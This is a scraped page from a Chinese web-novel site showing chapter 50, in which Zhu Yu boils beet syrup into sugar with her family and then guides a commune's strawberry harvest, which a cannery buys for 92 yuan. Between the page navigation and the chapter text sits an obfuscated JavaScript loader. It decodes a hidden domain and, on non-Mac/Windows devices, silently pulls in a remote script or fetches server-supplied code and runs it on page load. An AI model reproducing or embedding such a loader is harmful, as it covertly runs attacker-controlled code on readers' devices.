妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第5o章 采收修修:妮儿的翅根痛痛(1 / 1)

加入书签 | 推荐本书 | 问题反馈 |

第50章 采收·修修:妮儿的翅根痛痛!

“你说(嚼嚼嚼)这玩意儿得(嚼嚼嚼)熬到啥时候(嚼嚼嚼)啊?”

祝余一边往嘴里塞着棕红色的枣子,一边站在炉子旁边看火,时不时站起来,拿长长的大铁勺搅拌一下锅里渐渐浓稠的液体。

甜味儿越来越明显了。

祝余陶醉地嗅着,把伊拉克蜜枣又往嘴里塞了一颗,硬得像石头,但很甜。

以往有零食吃的时候,祝余不爱吃这种枣,但这两年不同了——没票没糖,伊拉克蜜枣成了难得的美味,不用票,一斤三四毛钱,虽然嚼起来费劲但也打发时间啊。

祝振华站在厨房门边,看着另外的锅。

为了在今天之内完成熬糖的任务,祝同义出马,借了几个邻居家的煤炉子和大锅,几口炉子一起搬过来烧,虽然费煤了点,但比起吃糖,那也算不上什么了。

这可是一锅糖水!

它能出多少糖啊?!

祝振华也在吃伊拉克蜜枣,他不嚼——祝余嘲笑他牙口不行——他把硬邦邦的蜜枣含在嘴里,等慢慢软化了才吃。

他认真地思考了一下说:“感觉得熬到下午。”

祝余嘎嘣一下瘫倒了,糖水已经熬了两三个小时了,午饭都是随便吃点饼子夹咸菜,要不她能百无聊赖地啃枣吗?因为没事干。

厨房里也不能看书,烟熏眼睛。

祝余一边机械地搅拌糖浆,一边无聊发问:“你们学校食堂做小球藻了吗?我们做了,但是是用青草培养液养的,唔,不难吃,起码比野菜做的好吃一点。”

祝振华的脸被糖浆的热气熏红了。

他摸了摸自己的肚子,感激地看了眼祝余:“多亏你啊——本来学校是要用那个啥养小球藻的,但后来不知道怎么回事,改成用青草培养液了。可能是看到你的报纸?”

祝余的青草培养法这周上了报纸。

稿费没几毛,因为她只是转述了书上看到的培养液制作法,没写有的没的,也没有目的影响的废话,加起来也才一两百字。

但它的意义是巨大的!

听到帮助了钢工大的师生们,祝余的脑袋立即扬了起来,得意道:“我就说这是个可用的方法。哼!连红山公社现在都用了呢——虽然他们上回开会还不信我!”

但现在,成大队长为她站台!

他当时拿走了祝余那一暖瓶藻种,在自家的空水缸里养,现在已经“爆缸”了!

据说第三大队特意开了食堂,做了顿小球藻餐,现在已经家家户户开始沤培养液了。

现在谁跟成大队长说她坏话都不好使。

祝余有这个信心?(???)?。

祝余高兴地都开始哼起歌来,哼着哼着,忽然看向专心盯糖浆的祝振华,“不对——培养液起码要沤一周才能做出来,你们要是已经在食堂吃上了的话,起码是上周就开始做了——那会儿我还没上报纸呢?”

她惊恐地瞪大了眼睛:“哥!你到底吃的是什么!”

“不是!真不是!”祝振华急了,他赶忙说:“真没有臭味,我保证!”

祝余不信,看他的眼神怜悯极了。

祝振华最近晒得深一点的脸都急红了,他结结巴巴说了半天,忽然想起那天,猛地一拍大腿:“我明白了!”

“你明白什么了?”

祝余问,拿个小碗,舀了点锅里的糖浆出来,嗯,她不是馋,就是尝尝浓度。

砸吧砸吧……好喝!

“肯定是宋学哥!”

祝振华信誓旦旦,觉得自己看破了一切:“我就说那天从红山公社回来,他怎么直奔食堂,明明没到吃饭的点儿啊……他肯定是去说换培养液的事了!”

祝余不信:“他这么厉害?”

她在学校都没混上“我说咋办学校就咋办”的地位呢,难道宋扶疏混上了?

祝振华眼神复杂地看她一眼:“我在说培养液的事!你想什么呢!”

这关注点怎么就是他说天她说地呢?

祝余哼哼唧唧,吹吹碗,小口喝了热乎乎的糖浆,“行,行,你继续分析。”

祝振华被她打断,已经没有情绪了。

他干巴巴地说:“反正肯定是这样,食堂换了培养液,我们就吃上了没加那啥的小球藻窝窝头……”说着说着,他顿了一下,眼神不可思议,“他这么信任你吗?”

祝余说点啥,他当哥的还要犹豫一下才能决定信不信呢,宋扶疏就开会时听她口若悬河地讲了十分钟,这就信了?

甚至当天就付诸了行动?

他怎么敢的呢?祝振华陷入沉思。

祝余一甩头发,毫无怀疑甚至振振有词的得意:“我就知道他佩服我!”

祝振华:“……”

恕他只从宋扶疏的眼神里看出了麻木和抗拒,至于佩服……他聪明地绕过了这个话题,疑惑地问:“你俩关系不是不好吗?”

“胡说!”祝余有力反驳:“我们是好朋友!”一起踏过夏的友谊呢。

她甚至给对方分享了堆肥机的原理!

——这绝不是她指望对方复刻出来。

祝振华:“……”

他嘴唇蠕动了下,想说点什么,但看着祝余白净的拳头已经捏起来了,从心闭嘴。

他唯唯诺诺地点头。

“对,你说什么都对,”坐下烧火。

祝余满意了,也舒坦地坐了下来。

她小口小口喝着碗里的糖浆,挺甜的,比白糖红糖冲的水浓稠,还给祝振华递了个碗,“尝尝,这水怪好喝的呢。”

两人看火到下午三点,家长们回来了。

看火不用很多人,余姥爷他们就出门买了些东西,祝余一闻到一股熟悉的臭味就跳了起来,发出一声九转十八弯的“噫~”。

“怪叫什么!”余颖把她拽下来,“现在嫌臭,等火爆大肠做好了你也别吃!”

祝余一秒钟正襟危坐。

她两手搭在膝盖上,一幅小学生好宝宝的样子,老实巴交地眨着圆溜溜的大眼睛,甜甜道:“我不嫌啊,一点也不臭,妈妈你怎么净诬赖人,我超级爱吃火爆大肠的!”

谁能有她识时务?就问谁能有她识时务!

余颖白她一眼,但没非得让她干这个活儿,指挥祝同义:“嗯,你去吧。”

祝同义悻悻地挽起袖子去了。

院子里的甜香一下子夹杂上了一股难闻的腥臭,祝余按捺住自己蠢蠢欲动的两只爪子,没把自己的鼻子捏住。又舀了一点糖浆放在鼻子底下,试图把这股臭味驱散。

噫——

这味道,就跟香水和厕所混起来一样。

怎一个香臭交杂啊!

祝同义用出了平生最快的速度,拿碱水用力搓洗大肠,外面洗一遍,翻过来洗里面,来来回回搓了好几遍,那股臭味才没了。

祝余偷偷捏住的鼻子也放开了。

“爸!喝!”祝余远远递来一只碗,但离祝同义的手远远的,这也是大肠味儿的手了。

祝同义故意抬手,作势要摸祝余头发,把她吓得吱哇乱叫,抱头逃跑了。

这小妮子。

他得意地哼哼,把糖浆喝了。

“都已经挺黏糊的了,是不是快要成块儿了?”祝同义问,这糖有点粘嗓子了。

好问题。

熬糖能熬成固体吗?

祝余和余姥爷对视了一眼,两人叽叽咕咕一阵,最后决定把它炒沙——就跟做雪球山楂似的,把液体的糖浆反复翻炒,一直到反沙,那不就相当于固体了吗?

祝同义又出门借了几把铲子。

碰到有邻居问今天在做啥、家里怎么这么香,祝同义三言两语糊弄了过去,回家抹了把汗:“这以后可不能总做,太显眼了。”

祝余觉得做这一次就够够的了。

从早上忙活到现在,都该吃晚饭了!

但胜败在此一举。

勇敢小妮决不放弃!

祝余举着剑似的高举锅铲,深吸一口气,抡起两只发酸的胳膊,把糖浆炒出打仗的架势!

她炒炒炒炒炒炒——好香!

糖浆清透的颜色变得越来越浑浊,就跟玻璃珠变成了磨砂的似的,越炒越浓,越炒越少,到最后铲子伸进去,就跟被沼泽缠住了一样,几乎有点搅和不动了。

噫吁嚱!

成了!

祝余赶紧把锅里棕红色的半固体倒出来,在干净的面板上铺了一层,倾倒得费劲,她不得不拿铲子辅助。等她的做完了,余姥爷、祝振华和祝同义那三锅才陆续炒好。

糖浆倒出来,拿铲子压得扁扁的平平的,锅里的底儿也不浪费,煮点糖水,一人一大碗。

祝余不舍得走开,她就围在几大板糖边坐着,痴迷地嗅嗅嗅,跟猫盯住会跑的耗子一样,她也像这些糖会突然长腿跑了似的。

“怎么还不冷啊?”

“现在能切了吗?”

“妈我想掰一块儿尝尝。”

祝余可怜巴巴地说着,试探地伸出指头往上面戳,被她按出一个带着指纹的印子来,软弹的,温热,有点意思,她来了劲儿,找到橡皮泥贵替似的继续戳。

“祝余!”一声河东狮吼。

祝余一个激灵,立刻缩回自己不安分的爪子,若无其事起身立正,好像什么也没发生。

余姥爷做的火爆大肠一点也不臭。

焦脆咸香,入口刺激微辣,祝余吃了两个大窝窝头,等吃完,院子里晾着的糖也凉了,祝余兴致勃勃,拎起菜刀去砍。

砍糖当然不能用刀刃。

祝余反握着刀,使了巧劲儿,拿刀背轻轻砍上两下,“咔嚓咔嚓”,坚实的整板糖顿时裂开,断面粗糙,是那种类似红糖的质感,她往嘴里塞了块小的,磨着牙吃。

“你们快来尝尝啊!”她高兴地吆喝。

余姥爷他们都凑过来,天已经黑了,棕色的糖块看起来像黑的,祝余咔咔一顿狂砍,玩上瘾了的似的,几大板糖块通通裂开,大的就像栗子那么大,小的多了不少碎渣。

“还挺好吃,像红糖,”祝同义说。

余姥爷把家里的空罐头瓶子全拿过来,几人把糖块往里装,祝余一边装一边美滋滋说:“根据我精确的估计,这些糖大概有二十斤……咱家两年的食糖定量!”

这么一算,顿时觉得太富裕了。

这都不知道咋吃了!

祝振华也被这些糖惊到了,他一边往罐子里塞,先塞大块完整的,等最后再把小的和碎渣倒进一个罐子里。

等干完了,他才下定决心,臊红了脸说:“那个,姥爷,我能不能给家里换点……”

林场那边的定量和首都这边差不多,甚至可能略低一些,糖也是每月二两,他大嫂今年四月刚生了孩子,现在格外缺红糖。

“当然了,”余姥爷笑眯眯地:“要不然小妮儿也不能弄这么多。小妮儿,是吧?”

祝余哼哼唧唧地扬脖子表示赞同,要不是要分给老家,她才不种这么多甜菜呢。

她大声说:“我的翅根儿都累酸了!”

祝振华感动极了。

好在他不是个煽情的人,祝余一家也不是,把糖装好,总共十几罐子。天彻底黑了,余颖没让两人摸黑回学校,而是再住一宿。

今晚的梦都是甜甜的。

祝余呈大字摊在自己的炕上,幸福地嘴巴都弯了起来,像在梦里偷到腥的猫。

……

五月的天已经有点夏的意思了。

天空蓝得要命,像谁家蓝绸子铺上去了,那点细微的云丝,就跟绸子的涟漪似的。

祝余骑车在去红山公社的路上,小山坡上越来越绿,野花开得茂盛,有些挖野菜的老人孩子,但剥树皮挖草根的却没有了。

单社长推行淀粉池和小球藻的力度很大,红山公社下辖的所有大队小队都在弄,这才半个月,趋势欣欣向荣,不说吃饱,但起码不会有饿死的风险了。

而祝余的草莓,也是一片大好。

五亩地的草莓分垄整齐,草莓苗像用尺子比量过似的,横竖都连成笔直的一长条。

祝余每周都会来两趟,监管病虫害,和大家一起摘老叶病叶,分到这片田的大娘奶奶,现在都知道什么叫匍匐茎、匍匐茎怎么切才能够当成能移栽的苗儿了。

原本青白的果子也成熟了。

这块地不是上好的肥田,但也还行,而且没有常年化肥或者重复连作导致的土壤板结问题,祝余特意疏果,让所有能长大的果子都维持在一个优良水准——符合罐头厂一等品,能卖到最高价格的那种。

这怎么会不成功呢?

祝余得意地想。

田边聚集了一些没干活的老人小孩,今天草莓要正式采收,他们都来看热闹,团眼睛也拿着本书蹲在田边,满眼都是好奇。

红红胖胖的果子……好香。

祝余发誓,自己看到好几个小毛娃在咽口水了,但被大人把小手牢牢地按住,她笑嘻嘻跳下自行车,“大家上午好啊。”

一片“上午好。”

草莓的采收要在早上露水干后——不干的话后面可能腐烂,但也要在中午的高温之前——高温也容易腐烂。所以采收最好就是上午或者傍晚。

成大队长早就等在这儿了,他捏着烟枪蹲在田埂上,心喜地看着胖嘟嘟的红草莓,他是眼见着这些果子变红的,别说,怪不得卖那么贵呢,这闻起来真是香啊。

也不知道啥味儿?

这么想着,他却没有摘一颗尝尝的意思,他不仅自己不摘,这两天草莓熟了,他还派人晚上轮班巡逻,生怕有人偷偷摘了。

这可是要给国家赚外汇的!

祝余拍拍手,团眼睛奶奶她们负责这片田的队员们就凑了过来,她没有喇叭,但嗓门又亮又脆,“摘草莓不能硬扯,我们得拿这两根手指——”

她翘起自己的大拇指和食指展示。

团眼睛奶奶她们看看自己的手,也伸出这两根手指头,学着祝余的样子动。

祝余满意地继续说:“硬拉会损伤果实,我们用这两根手指捏住果柄,用指甲掐断。注意啊,果柄不能留太长,一两厘米……嗯,就留大家的大拇指指甲盖儿那么长!”

奶奶们低头看看,觉得自己记住了。

祝负责人讲话很明白的嘛。

祝余把采摘的要求都跟大家说了,大家轻手轻脚地摘果子,草莓的皮儿又红又薄,一不小心就破了,她们每个人都特别小心。

成大队长也跟着一起,他的手指头粗,生怕自己一不小心戳烂了,还是翘着小拇指的,摘了几个,凑过来小声问祝余。

“罐头厂的同志啥时候来啊?”

祝余说了,今天罐头厂就要过来收果子,接下来每周都会来两趟。他们有车,比大队送过去快

,而且也能减少草莓的颠簸损坏。

祝余掐断一截果柄,这颗是个虫果,还有点畸形,她单独放进右脚边的篮子里。随口道:“上午应该就来了吧。”

成大队长立即催着大家加快速度。

采草莓的活儿可比种麦子好玩多了,有些孩子恨不得自己上手,都被成大队长凶巴巴地撵走了:“当我不知道呢,你们这帮小娃娃是想干活还是想吃?去去去,学校作业写完了吗?考试考不好回来就打屁股!”

学校最近又复课了。

这帮小孩嘻嘻哈哈地跑走了。

干了两个多小时,日头渐渐升高,几十筐草莓小心地放着,都是带盖子的筐子,把手能拎起放下,它们可以叠放还会不压到里面的草莓,是第三大队专门编的。

“这得四五百斤吧,”祝余眼睛亮晶晶的,盯着还没盖上盖子的篮子计算。

团眼睛奶奶抱着一个篮子,里面只装了大半,都是坏果烂果,她心疼地要命:“这些真不能要吗?就有几个虫眼……”

成大队长听不进她们说话了,心不在焉,一直往大队的路上张望,“怎么还不来……”

“来了来了!”

一辆小货车风驰电掣地开过来,路边的小孩们开心地尖叫,跟在车屁股后面跑。

这辆车远远停在篮子五米外。

一个有小肚子的司机从驾驶位跳下来,她定睛一看,高兴地挥挥手,“张叔!”

张叔笑眯眯也挥了挥手,他是罐头厂运输队里的,和祝余见过好几次。

他旁边,还有个厂里的收购员。

“草莓已经收了?”

他看了眼堆在田埂边上的草莓篮子,一看就摘得很精细,收购员打了声招呼,弯腰下去检查。

从草莓的果形、大小、颜色,他点了点头,在本子上记了几笔,然后又小心地伸手,随机选了几篮,检查了下压在下面的果子。

也是完好的。

“你们大队采收的品质很好嘛,要求也很统一,”收购员站起来笑着说,果柄都差不多长度,一看就是有专人强调过的。

祝余的尾巴要翘到天上去了。

她把满脸紧张的成大队长拽过来,“这就是第三大队的队长,草莓田是他们队里种的。”

收购员动作非常麻利。

草莓是种新鲜水果,价格早就已经由罐头厂定好了,农业部审批过,他把秤搬过来,让队员一个个篮子往上面称重。

成大队长紧张地直吞口水,他看着几个大小伙子把篮子挨个放上去,收购员看一眼上面的数字,在小本本上记一笔。

“这,这是干啥呢?”

“当然是算重量算钱了,”祝余惊诧地看他一眼,“种这么久,费这么大力气,你们大队不想要钱啊?”

“当然想要!”

成大队长反驳完了,又紧张地直搓手,“这能算什么价儿啊?八分?一毛?”

他们大队麦子的收购价就是一毛。

“这太低了吧,”祝余也不太确定,她看着一个个称重完的篮子送到货车里,全部称完了,收购员又要了个空蓝子,开始计算去皮,一通忙完,他的算盘也打完了。

“四百六十斤!”

收购员喜气洋洋地说:“这草莓果然亩产挺高,来,这位大队长,你过来在这儿签个字,咱们当场算钱。”

成大队长自己的名字还是会写的,他战战兢兢写了个颤抖的名字,又按了红手印。

这才紧张地问:“那个,同志,这个草莓是什么价儿啊?”

收购员笑道:“你们还不知道啊?这收购价还挺高的呢,按水果一档来,一市斤是两毛钱,你们这四百六十斤,九十二块!”

成大队长眼睛一闭就要撅过去了。

站在秤边的大小伙儿急忙拉住他,“叔?叔!

成大队长又坚强地站稳了。

他整张脸跟喝醉似的那么红,盯着收购员,“你刚才说,九、九十二?”

“是,九十二!”收购员半点不意外他的表现,现在乡下苦,粮食的统购价低,算成工分也便宜,种草莓算是高收入了。

收购员笑道:“这还是第一茬呢,你们这草莓不是陆陆续续能收一个月吗,后面还有钱呢!当然,都得是今天这个品质,坏果都得挑出去,不然我们可不收的。”

成大队长拼命点头,让祝余怀疑他的脑袋里会不会摇匀的程度,他甚至从兜里掏出两包烟来,像是早就准备好的,给收购员和司机一人塞了一包。

他红光满面地把货车送走了。

一转身,成大队长手里紧紧攥着那九十二块钱,举起胳膊,颤巍巍地高呼一声。

“九!十!二!块!”

上一章
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间